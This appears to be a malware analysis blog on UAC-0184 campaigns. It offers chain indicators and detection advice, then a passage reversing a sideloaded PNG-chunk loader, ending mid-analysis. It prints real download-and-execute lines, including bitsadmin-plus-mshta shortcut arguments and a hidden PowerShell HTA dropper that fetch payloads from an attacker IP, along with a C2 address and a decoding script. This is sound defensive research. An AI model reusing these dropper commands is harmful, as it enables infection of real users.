        "modTask64",
        "modWriteFile",
        "modWriteFile64",
        "CUSTOMINJECT",
        "PERSDATA"
      ]
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_inputdll",
      "type": "file",
      "value": "%windir%\\SysWOW64\\input.dll",
      "x_role_note": "Configured module-stomping/deployment target also observed in the previous UAC-0184 sample"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_remcos",
      "type": "file",
      "value": "Remcos Agent 7.1.0 Pro",
      "x_config_cipher": "RC4",
      "x_config_resource": "SETTINGS",
      "x_install_filename": "remcos.exe",
      "x_mutex": "Rmc-X5JFP2",
      "x_sha256": "40079f05ba7cdccac1f62f8e7e1b644bc0a806b58465f5c005725bc54ee73ef1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_c2",
      "type": "ip",
      "value": "144.31.236.240",
      "x_port": 27018,
      "x_protocol": "tcp",
      "x_role_note": "Remcos C2 recovered from decrypted SETTINGS resource"
    }
  ],
  "iim_version": "1.1",
  "name": "UAC-0184 LNK and PowerShell delivery to OneDrive sideload, HijackLoader and Remcos",
  "needs_review": true,
  "relations": [
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 1,
      "to": "e_readme",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 2,
      "to": "e_lnk_012",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 3,
      "to": "e_lnk_013",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 4,
      "to": "e_lnk_014",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 5,
      "to": "e_lnk_xlsx",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_012",
      "sequence_order": 6,
      "to": "e_ps1_rite_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_013",
      "sequence_order": 7,
      "to": "e_ps1_shout_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_014",
      "sequence_order": 8,
      "to": "e_ps1_hint_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_xlsx",
      "sequence_order": 9,
      "to": "e_ps1_collect_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_rite_url",
      "sequence_order": 10,
      "to": "e_rite_ps1",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_shout_url",
      "sequence_order": 11,
      "to": "e_shout_ps1",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_rite_url",
      "sequence_order": 12,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_shout_url",
      "sequence_order": 13,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_hint_url",
      "sequence_order": 14,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_collect_url",
      "sequence_order": 15,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip_url",
      "sequence_order": 16,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_rite_ps1",
      "sequence_order": 17,
      "to": "e_payload_zip_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_shout_ps1",
      "sequence_order": 18,
      "to": "e_payload_zip_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip_url",
      "sequence_order": 19,
      "to": "e_payload_zip",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 20,
      "to": "e_clusterhub",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 21,
      "to": "e_update",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 22,
      "to": "e_logging",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 23,
      "to": "e_monitor",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 24,
      "to": "e_physics",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_clusterhub",
      "sequence_order": 25,
      "to": "e_update",
      "type": "execute"
    },
    {
      "confidence": "likely",
      "from": "e_update",
      "sequence_order": 26,
      "to": "e_logging",
      "type": "execute"
    },
    {
      "confidence": "confirmed",
      "from": "e_update",
      "sequence_order": 27,
      "to": "e_monitor",
      "type": "references"
    },
    {
      "confidence": "confirmed",
      "from": "e_monitor",
      "sequence_order": 28,
      "to": "e_shellcode",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_shellcode",
      "sequence_order": 29,
      "to": "e_physics",
      "type": "references"
    },
    {
      "confidence": "confirmed",
      "from": "e_physics",
      "sequence_order": 30,
      "to": "e_idat_stream",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_idat_stream",
      "sequence_order": 31,
      "to": "e_hijack_bundle",
      "type": "drops"
    },
    {
      "confidence": "likely",
      "from": "e_hijack_bundle",
      "sequence_order": 32,
      "to": "e_inputdll",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_hijack_bundle",
      "sequence_order": 33,
      "to": "e_remcos",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_remcos",
      "sequence_order": 34,
      "to": "e_c2",
      "type": "connect"
    }
  ],
  "title": "UAC-0184 LNK and PowerShell delivery to OneDrive sideload, HijackLoader and Remcos",
  "x_evidence_url": "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/",
  "x_note": "Only ritecommunion.ps1 and shoutnewspaper.ps1 were available for direct inspection. hintprefix.ps1 and collectivisationgown.ps1 are confirmed as LNK-referenced URLs, but their bodies were not present in the analyzed set. Endpoint execution details are retained as chain context; IIM technique annotations are limited to applicable infrastructure/container properties."
}

You can test it in the IIM Workbench


The same IP is therefore visible at both the staging and C2 positions.
The chain does not show a separate redirector, domain or frontend service in the analyzed artifacts.

The IIM representation also highlights an important distinction:

144.31.236.240:80

is used for delivery while:

144.31.236.240:27018

is used by the final payload for command and control.

They are the same infrastructure entity performing different roles within the campaign flow.

Defensive observations

The strongest detections should focus on combinations of artifacts and behavior rather than one filename.

Initial archive and shortcut signals

Investigate archives containing apparent image or Office filenames that end in .lnk, especially when accompanied by instructions telling the user to extract them before opening.

The observed shortcut command lines combine:

cmd.exe /v /c
MSXML2.XMLHTTP
ADODB.Stream
cscript //b
powershell -NoP -W Hidden -ExecutionPolicy Bypass

The API names are reconstructed from smaller strings and the downloaded scripts are deleted after execution.

PowerShell staging signals

The recovered scripts:

  • download szch45clusterhum.zip;
  • create an MSWinDistro directory;
  • extract the archive;
  • execute MSWinDistro/ClusterHub.exe;
  • open a matching JPG decoy.

The combination of an application-like extraction directory, OneDrive components and image decoys is unusual.

OneDrive sideload signals

Investigate OneDrive-related binaries running from:

Downloads
Desktop
%TEMP%
%APPDATA%

or from an archive-created directory such as:

MSWinDistro

The following local combination is particularly relevant:

ClusterHub.exe
UpdateRingSettings.dll
LoggingPlatform.dll
monitor_base.sym
physicsdesc.map

Container-level signals

The local payload containers can be detected structurally:

  • large printable filler prefix;
  • no valid PNG signature;
  • repeated big-endian PNG chunk lengths;
  • many consecutive IDAT chunks;
  • final IEND;
  • reconstructed data that becomes meaningful after DWORD XOR and LZNT1 decompression.

These properties are likely to survive filename and hash rotation.

Network signals

Relevant observed endpoints are:

http://144.31.236[.]240/szch45/ritecommunion.ps1
http://144.31.236[.]240/szch45/shoutnewspaper.ps1
http://144.31.236[.]240/szch45/hintprefix.ps1
http://144.31.236[.]240/szch45/collectivisationgown.ps1
http://144.31.236[.]240/szch45clusterhum.zip
144.31.236[.]240:27018

Connections to the HTTP paths indicate delivery activity.

Connections to TCP port 27018 are associated with the recovered Remcos configuration.

Conclusion

The newly recovered initial artifacts complete the chain.

The campaign does not begin with ClusterHub.exe.

It begins with a Ukrainian-language archive containing four shortcuts disguised as images and a spreadsheet.

Those shortcuts construct a small VBScript downloader, retrieve PowerShell stages and delete the temporary files after execution. The PowerShell scripts download a second ZIP, extract a OneDrive-themed application package, start the sideload host and open a real decoy file.

From that point onward, the chain follows the same broad architecture documented in the previous UAC-0184 sample:

The actor changed the delivery mechanism.

  • They replaced the Plane9 exterior with OneDrive
  • They rotated the container names, keys, offsets and final payload
  • They retained the core loading pipeline and even reused the internal %windir%\SysWOW64\input.dll path

The newest build also provides a much clearer endgame.

The modular HijackLoader bundle decodes Remcos Agent 7.1.0 Pro, configured to communicate with the same server that delivered the initial PowerShell stages and secondary archive:

144.31.236.240:27018

The exterior changed.
The loader skeleton remained.
And this time, the complete path from the first click to the final controller is visible.

Core indicators

Initial archive
spisokszch.zip
SHA-256:
c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af

JPG_012.jpg.lnk
SHA-256:
bb40c9d8c217516a92a18a1bdb080a5af92cfafe81f6751dea665e3e78cb4851

JPG_013.jpg.lnk
SHA-256:
fe38e54bedee074825eb3fcbe4824ed203876692a424e0c183e0006b31d1b7a8

JPG_014.jpg.lnk
SHA-256:
a8d0a03543db29d279175c9679eba574dcb7a17e306195a68ab1d033ee2be01c

spisokszch.xlsx.lnk
SHA-256:
6754f3854680767a394b22090f277fc53ec5a242faff54bf233084da5989c3ef

ritecommunion.ps1
SHA-256:
adf2c6f80229677615358b56f329aba9c3e9e009d9ca6d6deb0b805e6e212dbc

shoutnewspaper.ps1
SHA-256:
43579dd80314b6de4a1ca4e40b53ef0376a2ab55d50c8368e0b26af0af0d08c7

collectivisationgown.ps1
SHA-256:
95c8f0ac2e427a5637e554c60f649cab1fe55f649fe3aacde3c66fdc6491921b

hintprefix.ps1
SHA-256:
56b19b9f63a649e8cfb9a0e4bb73aac52fbc2265e9793a5b976221432d0ba77f

Secondary archive
szch45clusterhum.zip
SHA-256:
fee96a66a8c143ff4f172963a56a813427a65dad7758834bb3283685a37df633

ClusterHub.exe
SHA-256:
a11339f52a3b31d5a1f134e19bfc83d260ccbde4f14b14889bd824cc636c9a93

UpdateRingSettings.dll
SHA-256:
da48273d7d4ab1d71ecf50fec0a58884ddb2baf18d872f25cab3637519ef71d7

LoggingPlatform.dll
SHA-256:
c0713fd808170f2204a9bc091288e358c5f3266bf99a44f3a36a7ccc03732bb1

monitor_base.sym
SHA-256:
93621d3793198cb00c1a0450e8e3375d6c0de862a8449ab796c894062ae32612

physicsdesc.map
SHA-256:
ad17e13f05399f0c3a2b13505507a78d8c2dbe2850e507a2d78b9dfa2f5b5e9a

Decoded Remcos Agent
SHA-256:
40079f05ba7cdccac1f62f8e7e1b644bc0a806b58465f5c005725bc54ee73ef1

198995fecc0e38a2749b7e48c54112a959b77878683b726ee36430c4bacec196  00_000004f0_x86.bin
c50bffbef786eb689358c63fc0585792d174c5e281499f12035afa1ce2ce19c8  01_00045f4a_x86.bin
8e8e43a2f0069f081f5ffb77237faebcda9a46e8f8fd0e128500e74bbc9ea3a5  02_00091422_x64.bin
3594a835ed3dbf80ac460c0e852fa91baa3b17aadff9c3b40c03eff6b34658d2  03_000cd556_x86.bin
729e5965e43ff458f6da901536c9a43be52a3820718e2dd5456150e2d73bb97f  04_000ce156_x64.bin
68bee500e0080f21c003126e73b6d07804d23ac98b2376a8b76c26297d467abe  05_000e9b56_x86.bin
b02b8547644bbfe77428e59c5ccec56c412e3c83aec44180e59110189a249956  06_000ea556_x64.bin
324e2f2241604e53b88bd590213385abbb2961d3f17debfb4d40e4fa7bd9c4c0  07_001018c2_x86.bin

04_decompressed_hijackloader_bundle.bin
SHA256:
4870337bcd6e3ba0d82ca6a42604c05f1885c87967d0dc120f699d2b19706247

Delivery and C2:
144.31.236.240
144.31.236.240:27018

Mutex:
Rmc-X5JFP2

Configured filename:
remcos.exe

UAC-0184: From HTA to a Signed Network Stack

by Robin Dost


EDIT: The next article in my UAC series is out: https://blog.synapticsystems.de/uac-0247-malware-targeting-fpv-operators/

Actor: UAC-0184 / MB-0007 (Malwarebox ID
IIM Chain: https://feed.iim.malwarebox.eu/chain/uac-0184-pseudo-png-passmark-2026-05

In the last articles, I spent quite some time looking at actors that primarily target Ukraine.

Gamaredon and APT28 are the obvious names people know. But there are other clusters that are less well documented and still use overlapping tradecraft: Ukraine-themed lures, messenger-based social engineering, staged loaders, LOLBins, signed binaries, archive delivery and all the other small joys that make malware analysis such a relaxing hobby.
This article is a bit older because I’m currently busy working on Malwarebox and other articles.
It’s also part of my “UAC” series, in which I discuss threat actors linked to Ukraine.
Around the middle or end of the series, I have a little something in store for everyone involved, so stick around :3

This one gets a bit more technical and longer than usual. So yes, you have been warned. 🙂

I looked at the following sample:

On MalwareBazaar, the sample is tagged with UKR, which is already a useful signal to keep in mind. It does not prove targeting by itself, but in this case the surrounding tradecraft and the public CERT-UA reporting make the Ukraine connection much more than just a tag someone slapped onto a hash.

CERT-UA has publicly described increased UAC-0184 activity during 2024, focused on gaining access to computers used by representatives of the Ukrainian Defense Forces in order to steal documents and messenger data. Their reporting also highlights the use of messengers and dating platforms as delivery channels, with social engineering lures built around criminal proceedings, combat videos or personal contact requests. Very normal internet behavior, obviously.

The tooling overlap also fits the wider UAC-0184 ecosystem described by CERT-UA: staged malware delivery, commercial and open-source tooling and repeated use of social engineering against Ukrainian military-related targets.

Now to the actual sample.

7z l 81d93004a02a455af01b0f709e34d5134108ec350f9391dc0f91a00a54998590.zip

For context: in Ukrainian, Рапорт means report. In Ukrainian and Russian, Таблиця means table.

Now that we’ve unpacked everything, let’s take a look at the LNK files using lnkparse

Click for full details
Windows Shortcut Information:
   Guid: 00021401-0000-0000-C000-000000000046
   Link flags: HasTargetIDList | HasName | HasWorkingDir | HasArguments | HasIconLocation | IsUnicode | ForceNoLinkInfo - (501)
   File flags: (0)
   Creation time: 2026-03-26 15:53:23+00:00
   Accessed time: 2026-03-26 15:53:23+00:00
   Modified time: 2026-03-26 15:53:23+00:00
   File size: 0
   Icon index: 85
   Windowstyle: SW_SHOWMINNOACTIVE
   Hotkey: UNSET - UNSET {0x0000}

   SIZE: 17650

   TARGET:
      Items:
      -  Root Folder:
            Sort index: My Computer
            Sort index value: 80
            Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D
      -  Volume Item:
            Flags: '0xf'
            Volume name: C:\
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: Windows
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: System32
      -  File entry:
            Flags: Is file
            File size: 0
            File attribute flags: 16
            Primary name: cmd.exe

   LINK INFO: {}

   DATA:
      Description: РDF Dоcument
      Working directory: '%LOCALAPPDATA%'
      Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/slippersuppity.hta
         %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta && mshta.exe %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta
      Icon location: imageres.dll

   EXTRA:
      TERMINAL BLOCK:
         Size: 16859
         Appended data sha256: d735004496f54a943647a50f42ecdd094cd3d0f58a4ee5d2e36d10c5493337b7

Windows Shortcut Information:
   Guid: 00021401-0000-0000-C000-000000000046
   Link flags: HasTargetIDList | HasName | HasWorkingDir | HasArguments | HasIconLocation | IsUnicode | ForceNoLinkInfo - (501)
   File flags: (0)
   Creation time: 2026-03-26 15:53:22+00:00
   Accessed time: 2026-03-26 15:53:22+00:00
   Modified time: 2026-03-26 15:53:22+00:00
   File size: 0
   Icon index: 97
   Windowstyle: SW_SHOWMINNOACTIVE
   Hotkey: UNSET - UNSET {0x0000}

   SIZE: 9950

   TARGET:
      Items:
      -  Root Folder:
            Sort index: My Computer
            Sort index value: 80
            Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D
      -  Volume Item:
            Flags: '0xf'
            Volume name: C:\
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: Windows
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: System32
      -  File entry:
            Flags: Is file
            File size: 0
            File attribute flags: 16
            Primary name: cmd.exe

   LINK INFO: {}

   DATA:
      Description: MS Wоrd Documеnt
      Working directory: '%LOCALAPPDATA%'
      Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/basketpast.hta %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta
         && mshta.exe %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta
      Icon location: imageres.dll

   EXTRA:
      TERMINAL BLOCK:
         Size: 9143
         Appended data sha256: 651b07f731b23e8608eecf87e45194f903c2ccb3fd8b55ea8a6e0ca984ff8518

Windows Shortcut Information:
   Guid: 00021401-0000-0000-C000-000000000046
   Link flags: HasTargetIDList | HasName | HasWorkingDir | HasArguments | HasIconLocation | IsUnicode | ForceNoLinkInfo - (501)
   File flags: (0)
   Creation time: 2026-03-26 15:53:23+00:00
   Accessed time: 2026-03-26 15:53:23+00:00
   Modified time: 2026-03-26 15:53:23+00:00
   File size: 0
   Icon index: 250
   Windowstyle: SW_SHOWMINNOACTIVE
   Hotkey: UNSET - UNSET {0x0000}

   SIZE: 24439

   TARGET:
      Items:
      -  Root Folder:
            Sort index: My Computer
            Sort index value: 80
            Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D
      -  Volume Item:
            Flags: '0xf'
            Volume name: C:\
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: Windows
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: System32
      -  File entry:
            Flags: Is file
            File size: 0
            File attribute flags: 16
            Primary name: cmd.exe

   LINK INFO: {}

   DATA:
      Description: MS Еxcel Worksheеt
      Working directory: '%LOCALAPPDATA%'
      Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/agentdiesel.hta %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta
         && mshta.exe %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta
      Icon location: SHELL32.dll

   EXTRA:
      TERMINAL BLOCK:
         Size: 23636
         Appended data sha256: 30a5f342c3f9bff21d18b874d51c289a5414837731118e6765dad225c55d5996
Data Summary:

Scan_088.pdf.lnk

Description: РDF Dоcument
Working directory: '%LOCALAPPDATA%'
Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/slippersuppity.hta
         %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta && mshta.exe %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta

Рапорт.lnk

Description: MS Wоrd Documеnt
Working directory: '%LOCALAPPDATA%'
Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/basketpast.hta %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta
         && mshta.exe %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta

Таблиця.xlsx.lnk

Description: MS Еxcel Worksheеt
Working directory: '%LOCALAPPDATA%'
Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/agentdiesel.hta %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta
         && mshta.exe %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta

So the lure language is not exactly random. It is already pointing us into the same general target space as the CERT-UA reporting around UAC-0184.

When trying to download the referenced files directly, I got the following error:


To me, this looked like gated delivery. Most likely geofencing, client filtering or both. So I used Kraken with bitsadmin-style emulation and a proxy path to test the delivery behavior.
Btw: What a coincidence that this happened around the same time as Gamaredon’s switch to using Bitsadmin 😉

After a few tests, I was able to retrieve the malicious payload:

<HTML>
<HEAD>
<HTA:APPLICATION ID="App" WINDOWSTATE="minimize" />
</HEAD>
<BODY>
<script language="JScript">
        var o = new ActiveXObject('Wscript.Shell');
        o.Run('powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { $TempDir = $env:APPDATA; $ZipFile = \\\"$TempDir\\\\dctrprraclus.zip\\\"; $ExtractPath = \\\"$TempDir\\\\ApplicationData32\\\"; if (-not (Test-Path $ZipFile)) { Invoke-WebRequest -Uri \\\"169.40.135.35/dctrprraclus.zip\\\" -OutFile $ZipFile }; if ((-not (Test-Path \\\"$ExtractPath\\\\Cluster-Overlay64.exe\\\")) -and (-not (Test-Path \\\"$ExtractPath\\\\Scan_001.pdf\\\"))) { Expand-Archive -Path $ZipFile -DestinationPath $ExtractPath -Force }; Start-Process \\\"$ExtractPath\\\\Cluster-Overlay64.exe\\\"; Start-Process \\\"$ExtractPath\\\\Scan_001.pdf\\\" }"', 0, false);
        window.close();
</script>
</BODY>
</HTML>

At that point we had another file to load. But before jumping into it, I want to show how Kraken can help automate this kind of workflow in the future.

Tracking the delivery with Kraken

The requirement for this case is simple:

  • bitsadmin emulation plus geofencing or proxy handling
  • web request download plus geofencing or proxy handling
  • extraction of follow-up URLs from returned payloads
  • repeat without manually babysitting every single stage like it is a fragile houseplant

I created an operation for this purpose.



Then I added a URL threat entity with the type payload_download.

Then we also need import profiles, one for the URLs and one for the malware downloads

After that, I created a tracking definition for the operation.

The important part here is the regex used to extract further URLs from results.

Once saved, tracking is active. From there, we only need to wait for results or add new URLs when they appear during analysis.

Payload archive


The results contained multiple HTA files, but they all pointed to the same ZIP archive: dctrprraclus.zip

So that is the next thing to look at.

Inside the archive, there are multiple files. Of course we do not want to manually reverse every single file in the directory because that would be madness and I try to keep my hobbies at least somewhat healthy.

So I narrowed it down and scanned the files first.

Since Cluster-Overlay64.exe is the entry point, that is where I started.

Plane9Engine.exe or Cluster-Overlay64.exe belongs to Plane9, a 3D music visualizer for Windows. It is normally used to analyze audio signals in real time and generate visual effects, for example during music playback or as a screensaver.

Technically, the Plane9 engine contains the rendering logic. It processes audio input, for example via FFT analysis and generates dynamic 3D scenes using DirectX or OpenGL.

So the presence of Cluster-Overlay64.exe alone is not suspicious. It appears to match a legitimate Plane9 application.

The suspicious part is the packaging around it.

There are additional files such as .bin and .lib artifacts. In a legitimate software package, this exact combination and placement is not exactly what you expect. Especially an isolated high-entropy .bin file is often a good hint that we are looking at an encrypted or packed payload.

In combination with executable files and several DLLs, this strongly suggests a DLL sideloading scenario. A legitimate application or loader is used to load manipulated or additional components from the local directory. The actual malicious function is not in the visible main executable but in libraries or external data blobs that are loaded later.

Two files immediately stood out:

  • filter.bin
  • kernel-diag.lib

Not only because of the extensions, but also because the files could not be identified cleanly.

Looking at entropy and headers confirmed the suspicion.

BASS.dll also has high entropy, but on first look it appears harmless. I kept it in mind anyway because malware analysis rewards paranoia more often than optimism.

The more interesting files are filter.bin and kernel-diag.lib.

Now that we know Cluster-Overlay64.exe is likely legitimate and probably causes filter.bin or kernel-diag.lib to be loaded indirectly, the next question is simple: how exactly are those files loaded?

Reconstructing the sideload chain

I started by looking at strings across all DLLs and searching for the filenames.

kernel-diag.lib appears only in openvr_api.dll, so we can assume that kernel-diag.lib is loaded by openvr_api.dll.

Then I continued.

This gives us the next part: openvr_api.dll is likely loaded by Plane9Engine.dll and Plane9Engine.dll is loaded by the entry point Cluster-Overlay64.exe.

From that, the sideload process can already be reconstructed:

ClusterOverlay64.exe -> Plane9Engine.dll -> openvr_api.dll -> kernel-diag.lib -> ??filter.bin??

At this point, it is worth opening Ghidra and looking at the relevant call sites.

Plane9Engine.dll loads openvr_api.dll. Nothing particularly unusual so far.

The payload loader inside openvr_api.dll does not contain a full payload. Instead, it contains a data block with obfuscated strings and parameters.
These include filenames such as kernel-diag.lib and filter.bin, although filter.bin is hidden more nicely, as well as API names.
The loader manually parses the kernel32 export table to resolve the required Windows functions dynamically. Then it determines its own path and uses the strings stored in the embedded data block to load files from disk.
Concretely, it loads kernel-diag.lib, reads its full content into memory and performs a simple decoding step: DWORD-wise addition using a key contained in the file.

The decoded blob contains another internal structure with additional information and payload data, including embedded code for evr.dll. That blob is copied into memory, prepared, memory protections are adjusted and then execution continues into the next stage.

For decoding and payload extraction, I wrote two small scripts.

Decoding Script (Click to view)
import struct

with open("kernel-diag.lib", "rb") as f:
    data = f.read()

offset = 0x24d1

size = struct.unpack("<I", data[offset:offset+4])[0]
key  = struct.unpack("<I", data[offset+4:offset+8])[0]

print(f"offset: {hex(offset)}")
print(f"size: {size}")
print(f"key: {hex(key)}")

decoded = bytearray(data)

for i in range(offset+8, min(len(decoded), offset+8+size), 4):
    if i + 4 > len(decoded):
        break

    val = struct.unpack("<I", decoded[i:i+4])[0]
    val = (val + key) & 0xffffffff
    decoded[i:i+4] = struct.pack("<I", val)

with open("decoded.bin", "wb") as f:
    f.write(decoded[offset:])

The output already looks promising. Right at the beginning we can see evr.dll.

evr.dll, the Enhanced Video Renderer, is a Microsoft Windows component used for video rendering and multimedia applications such as Windows Media Player.

So we import the extracted file into Ghidra.

The entry point is at 0xED0.

That looks beautiful :3

The substring trick


The first-stage loader stores a pointer (local_8[5]) into the middle of a larger embedded RTTI-like string.
Rather than referencing the full .?AV?$numpunctfilter.bin symbol, the pointer starts exactly at the f of filter.bin. The loader then converts this substring into a wide-character string and passes it to the next stage, which uses it to construct the on-disk path and read the secondary payload.

means

local_8 = (DWORD *)0x1003e3d0;

then

local_8[5] in C:

local_8[5]

so

Adresse = 0x1003e3d0 + (5 * 4)
        = 0x1003e3d0 + 0x14
        = 0x1003e3e4

Retrieve a value from memory:

62 eb 03 10 in little endian => 0x1003eb62

Let’s move on to the address:

The string starts at 0x1003eb54, but our pointer is 0x1003eb62. That is exactly where the substring filter.bin starts.

1003eb54  .
1003eb55  ?
1003eb56  A
1003eb57  V
1003eb58  ?
1003eb59  $
1003eb5a  n
1003eb5b  u
1003eb5c  m
1003eb5d  p
1003eb5e  u
1003eb5f  n
1003eb60  c
1003eb61  t
1003eb62  f
1003eb63  i
1003eb64  l
1003eb65  t
1003eb66  e
1003eb67  r
1003eb68  .
1003eb69  b
1003eb6a  i
1003eb6b  n

This technique avoids explicit string manipulation entirely and reduces the need for recognizable operations such as strstr, memcpy with offsets or substring extraction, making static analysis slightly more deceptive.

The same trick appears for kernel-diag.lib.
To find the relevant local_8 candidate for loading kernel-diag.lib, we use the same logic:

local_8[?] = 0x1003eaf1

because

local_8 = (DWORD *)0x1003e3d0;

1003e3d0       local_8[0]
1003e3d4       local_8[1]
1003e3d8       local_8[2]
1003e3dc       local_8[3]
1003e3e0       local_8[4]
1003e3e4       local_8[5]
1003e3e8       local_8[6]
1003e3ec       local_8[7] <<<< our candidate

Adresse: 0x1003e3ec
Base:    0x1003e3d0

Offset = 0x1c
Index  = 0x1c / 4 = 7

local_8[7] = 0x1003eaf1 → "kernel-diag.lib"

Jump to 0x1003e3ec and confirm f1 ea 03 10 => 0x1003eaf1

Our candidate used in the loader:

So at this point it is clear that evr.dll loads both kernel-diag.lib and filter.bin through this substring trick.

What we still do not know is what happens to filter.bin. And that is where the interesting part starts.

We already know that kernel-diag.lib is decoded via DWORD addition using a key stored inside the file. But filter.bin behaves differently. It has no size or key header at the beginning and the hex dump shows the same random-letter camouflage that appears at the start of kernel-diag.lib.

So what is it?

What the shellcode actually does

Before looking at filter.bin directly, it is worth taking another look at the decoded shellcode. The strings near the end of the decoded blob are surprisingly talkative.

0x170dx89PNG
0x1721http
0x172dRtl…
0x1735User..
0x1755GET
0x178dIDAT
0x17adNAME
0x17c5IEND
0x17d5.dll
0x17f6EF{DATA=

\x89PNG, IDAT and IEND are PNG chunk markers.

So the shellcode is not just a generic decoder. It is a PNG chunk parser.

The Rtl... and USER... strings are API-name fragments that are later resolved through a PEB walk. Rtl... strongly points toward RtlDecompressBuffer and yes, that becomes relevant later.

The strings http, GET and the interesting template EF{DATA= point to a separate HTTP code path.

We park that for a moment. It comes back near the end.

When going through the entry function at 0xED0, three core functions matter:

0x1Diteriert PNG chunks (length-DWORD big-endian, type-DWORD, data, CRC)
0x15ADBig-endian DWORD reader für die PNG length-felder
0x161DEine memmem-style suche, findet chunks per type-name
0x26DDWORD-weise XOR decryptor, key kommt aus chunk-metadata
0x72DAPI resolver — PEB walk + name-hash compare
0x8DDkleiner memcpy
0xED0Entry — orchestriert das ganze gegen filter.bin

That gives us the shape of stage 3 without executing anything:

The shellcode opens filter.bin, finds all IDAT chunks, appends their data and XOR-decodes the resulting blob with a key derived from chunk metadata or surrounding structure. What falls out is the next stage.

filter.bin is a PNG that is not a PNG

filter.bin is 1,377,370 bytes large or 0x15045A.

If you open the file directly in a hex editor, you do not see the normal PNG magic \x89PNG\r\n. The first roughly 16 KB are just the same random-letter filler pattern seen earlier.

The first real chunk header, IDAT, is located at file offset 0x4052.

From there, the file contains a clean chunk sequence:

  • 166 xIDAT chunks, each 8192 bytes, with the last one being 7224 bytes
  • 1 xIEND chunk

The interesting part is that the author bothered to produce real PNG chunks.

A PNG-aware scanner does not simply see an encrypted blob. It sees a slightly broken but structurally plausible PNG-like object. Great. Even the file format is lying now.

When concatenating all IDAT data, we get a clean 1,358,904 byte payload blob.

Now we need to decrypt it.

Finding the XOR key

